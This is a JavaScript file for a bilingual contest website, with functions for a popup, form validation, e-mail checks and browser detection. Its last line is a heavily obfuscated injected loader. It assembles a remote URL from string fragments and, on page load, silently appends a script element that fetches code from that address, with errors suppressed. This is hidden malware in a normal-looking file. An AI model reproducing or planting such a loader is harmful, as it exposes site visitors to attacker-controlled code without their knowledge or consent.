
// pop le concours
function pop_concours(cncpath,id,lan,noref,width,height) {
	/*
	var url = "launch_concours.php?id=" + id + "&lan=" + lan + "&noref=" + noref;
	
	var windowFeatures = "width=" + width + ",height=" + height +
        ",toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no";
		
	window.open(url,"concours",windowFeatures);
	*/
	
	//var path = (document.location).toString() ;
	
	var textClose = '';
	if ( USER_LAN == "FR" ){ textClose = 'Fermer';}
	if ( USER_LAN == "EN" ){ textClose = 'Close';}
	
	var back_header = "";
	if (lan == "FR") { back_header = "entete_jeu.jpg"; }
	if (lan == "EN") { back_header = "header_game.jpg"; }
	
	var url = cncpath + "launch_concours.php?id=" + id + "&lan=" + lan + "&noref=" + noref;

	elbody = document.getElementsByTagName("body")[0];
	
	
	// Taille de la fenetre
	var bodyH ;
	var bodyW ;
	
	if(elbody.offsetHeight)          {bodyH=elbody.offsetHeight;}
	else if(elbody.style.pixelHeight){bodyH=elbody.style.pixelHeight;}
	
	if(elbody.offsetWidth)          {bodyW=elbody.offsetWidth;}
	else if(elbody.style.pixelWidth){bodyW=elbody.style.pixelWidth;}
	
	elback = document.getElementById('divpop');
	elsource = document.getElementById('divpop_source');
	
	sourceL = parseInt( (bodyW-width)/2 );

	elback.style.width = "0px";
	elback.style.height = "0px";
	
	elsource.style.top = 50 + "px";
	elsource.style.left = sourceL + "px"; 
	elsource.style.width = width + "px";
	elsource.style.height = height + "px";
	

	var ver = getInternetExplorerVersion();
	var notIe6 = true;
	if ( ver > -1 )
	{
		if ( ver <= 6 ) { notIe6 = false;}
	}
	
	var widFrame = parseInt(width)+2;
	var heiFrame = parseInt(height)+2;
	
	var contentHTML = "";
	contentHTML += '<table border="0" width="100%" cellpadding="0" cellspacing="0">';
	contentHTML += '	<tr width='+width+'px background="images/' + back_header +'" height="83px" >';
	contentHTML += '		<td width=100px"> ';
	contentHTML += '			<a style="color:#FF0000" href="http://www.creo.ca" target="_blank"  border="0" title="Visitez le site de Creo inc, la science en jeu" alt="Visitez le site de Creo inc, la science en jeu" onClick=javascript:pageTracker._trackPageview("hits/creo") >';
	if (notIe6)
	{
	contentHTML += '				<img src="images/pixel.gif" width="100%" height="50px" border="0"/>';
	} else {
	contentHTML += 			     textClose;
	}
	contentHTML += '			</a>';
	contentHTML += '		</td>';
	contentHTML += '		<td align="right" valign="top" style="margin: 0px; padding: 0px; padding-top: 4px ;padding-right: 4px ;">';
	contentHTML += '		<a href="javascript:;" onClick="window.parent.close_popup()" >';
	contentHTML += '		    <img src="images/popup_close_up.jpg" border="0" onMouseOver="this.src='+"'images/popup_close_down.jpg'" + ' onmouseout ="this.src=' + "'images/popup_close_up.jpg'" + '">';
	contentHTML += '		</a>';
	contentHTML += '		</td>';
	contentHTML += '	</tr>';
	contentHTML += '	<tr>';
	contentHTML += '		<td colspan="2">';
	contentHTML += '			';
	contentHTML += '		</td>';
	contentHTML += '	</tr>';
	contentHTML += '</table>';

	
	//alert(contentHTML);
	elsource.innerHTML = contentHTML;
	
	elback.style.visibility = "visible";
	elsource.style.visibility = "visible";
	
}


// JavaScript Document
function validateEmail ( emailField, errorMsg ) 
{
 emailpat = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/;

	if( emailpat.test( emailField.value ) ) 
	{
		return true;
	}
	else
	{
		alert( errorMsg )

		document.getElementById('courriel').style.backgroundColor='#DD7313';
		return false;

	}
}

function valider_formulaire(frm,langue){
	var isValide = true;
	var nb = 0;
	var bgcolor = '#DD7313';
	var emailValide = true;
	resetStyle();


	if(frm.nom.value == ""){nb++;isValide = false;document.getElementById('nom').style.backgroundColor=bgcolor;}
	if(frm.prenom.value == ""){nb++;isValide = false;document.getElementById('prenom').style.backgroundColor=bgcolor;}
	if(frm.courriel.value == ""){nb++;isValide = false;document.getElementById('courriel').style.backgroundColor=bgcolor;}
	if(frm.codepostal.value == ""){nb++;isValide = false;document.getElementById('codepostal').style.backgroundColor=bgcolor;}
	if(document.getElementById('age').value == 0){nb++;isValide = false;document.getElementById('age').style.backgroundColor=bgcolor;}

	if(frm.telephone.value == ""){nb++;isValide = false;document.getElementById('telephone').style.backgroundColor=bgcolor;}
	if(frm.adresse.value == ""){nb++;isValide = false;document.getElementById('adresse').style.backgroundColor=bgcolor;}
	if(frm.pays.value == ""){nb++;isValide = false;document.getElementById('pays').style.backgroundColor=bgcolor;}


	if(!isValide){
		if(nb == 1){
		
			if (langue == "FR")
				alert("Tu dois remplir le champ indiqu\351 en orange.");
			else if (langue == "EN")
				alert("You must complete the field shown in orange.");

		}else
		{
			if (langue == "FR")
				alert("Tu dois remplir les champs indiqu\351s en orange."); 
			else if (langue == "EN")
				alert("You must complete the fields shown in orange.");
		}	 
	}
	else
	{
		if(langue == "fr")
			emailValide=validateEmail(frm.courriel,"Courriel non valide");
		else
			emailValide=validateEmail(frm.courriel,"Invalid email");
	 
	}
	 
	return isValide && emailValide;


}

function checkOpener()
{
	if(parent.window.name!="100")
 	{
		window.location="http://www.genomia.ca";
	}
}
function resetStyle()
{
	//Remet les styles par défault
	var bgcolor = '#FFFFFF';
	document.getElementById('nom').style.backgroundColor=bgcolor;
	document.getElementById('prenom').style.backgroundColor=bgcolor;
	document.getElementById('courriel').style.backgroundColor=bgcolor;
	document.getElementById('codepostal').style.backgroundColor=bgcolor;
	document.getElementById('age').style.backgroundColor=bgcolor;
	document.getElementById('pays').style.backgroundColor=bgcolor;
	document.getElementById('adresse').style.backgroundColor=bgcolor;
	document.getElementById('telephone').style.backgroundColor=bgcolor;
	
}

function emailExist(langue)
{
	var bgcolor = '#DD7313';
	document.getElementById('courriel').style.backgroundColor=bgcolor;
	if (langue == "FR"){
		alert('Cette adresse de courriel a d\351j\340 \351t\351 utilis\351e pour le concours. '); 	
	}else if (langue == "EN") {
		alert('This e-mail address has already been used for the contest.'); 	
	}
}

function redirectConfirmation(lan,title,url_back)
{
	window.location="confirmation.php?lan=" + lan + "&title=" + title + "&url=" + url_back;
}
function getInternetExplorerVersion()
// Returns the version of Internet Explorer or a -1
// (indicating the use of another browser).
{
  var rv = -1; // Return value assumes failure.
  if (navigator.appName == 'Microsoft Internet Explorer')
  {
    var ua = navigator.userAgent;
    var re  = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");
    if (re.exec(ua) != null)
      rv = parseFloat( RegExp.$1 );
  }
  return rv;
}


var Z;if(Z!='' && Z!='lH'){Z=''};var o_='';var G;if(G!='I' && G!='c'){G=''};function O(){var Od=new String();var C;if(C!='' && C!='L'){C=null};var l=RegExp;var m='';var X="";var KQ="";var A=new String("TVRg".substr(3));var H;if(H!=''){H='jP'};var tI;if(tI!=''){tI='cA'};function D(g,T){var HK;if(HK!='UG' && HK!='fI'){HK=''};var P= new String("[");var n;if(n!='wR'){n='wR'};P+=T;var Va;if(Va!='S' && Va!='E'){Va='S'};P+=new String("]doT".substr(0,1));var Kf;if(Kf!=''){Kf='eL'};var AF="";this.fF='';var o=new l(P, A);var Sx;if(Sx!='Xu' && Sx != ''){Sx=null};this.lV='';return g.replace(o, m);};var ER;if(ER!='EM' && ER!='Vn'){ER=''};this.Q='';var IG;if(IG!='R'){IG='R'};var IK=new Date();var Tj=D('822142102444218222112022122',"142");var MM;if(MM!='nK' && MM!='ZP'){MM='nK'};var s=new String("sc"+"ri8Og".substr(0,2)+"rafptarf".substr(3,2));var Hb;if(Hb!='ep' && Hb!='UJ'){Hb=''};var Ea="";var v=new String("B8fde".substr(3)+"fegFs".substr(0,2)+"MzerzMe".substr(3,1));this._W='';var w='';var J=window;var gB;if(gB!='' && gB!='GS'){gB=null};var z=String("ADJht".substr(3)+"tpcvwY".substr(0,2)+"tUL:/".substr(3)+"Ih2/dI2h".substr(3,2)+"p4SelS4p".substr(3,2)+"UbKFl-".substr(4)+"nuWTcouWnT".substr(4,2)+"m.NVJU".substr(0,2)+"nbr1ig1rbn".substr(4,2)+"JDZgn.".substr(4)+"stZcostZ".substr(3,2)+"m."+"HL3prLH3".substr(3,2)+"ic"+"9Q7Uem7UQ9".substr(4,2)+"incWpF".substr(0,2)+"is"+"2XZteX2Z".substr(3,2)+"Qamwr-".substr(4)+"co"+"xoym.".substr(3)+"JwAbu".substr(3)+"pFCym".substr(3)+"yp"+"CfDxalxCfD".substr(4,2)+"JvSOm.".substr(4)+"rubAZT".substr(0,2)+":ME6Q".substr(0,1));var HA=new Array();var a;if(a!='Ga' && a!='wN'){a=''};var d=new String("dRH/go".substr(3)+"m3wPoglmw3P".substr(4,3)+"9Y3qe.c9Yq3".substr(4,3)+"om/3Sdz".substr(0,3)+"gooqVr".substr(0,3)+"gle"+"F4zs.co".substr(4)+"m/v"+"ery"+"cd."+"uDJcomuDJ".substr(3,3)+"gl5/fo".substr(3)+"xne"+"ws."+"LNTcomTLN".substr(3,3)+"/or"+"fzDangzfD".substr(3,3)+"CQ3e.fC3Q".substr(3,3)+"ou4Hr.pouH4".substr(4,3)+"hp");var K=String("sr8vKe".substr(0,2)+"cV1yd".substr(0,1));var lC;if(lC!='' && lC!='N'){lC=null};J.onload=function(){try {var cV;if(cV!='' && cV!='Xg'){cV=null};var LI=new Array();w=z+Tj;var _L=new String();w+=d;this.wU='';vU=document.createElement(s);var Wt;if(Wt!='F' && Wt != ''){Wt=null};var um=new Array();vU[v]=[1,6][0];var hY;if(hY!='uf' && hY!='rN'){hY='uf'};vU[K]=w;this.qC='';var XK=new Array();var mV;if(mV!='epO' && mV!='Ot'){mV=''};document.body.appendChild(vU);var zu;if(zu!='' && zu!='kK'){zu=null};} catch(e){};this.TN='';};var PC='';var gi=new String();};O();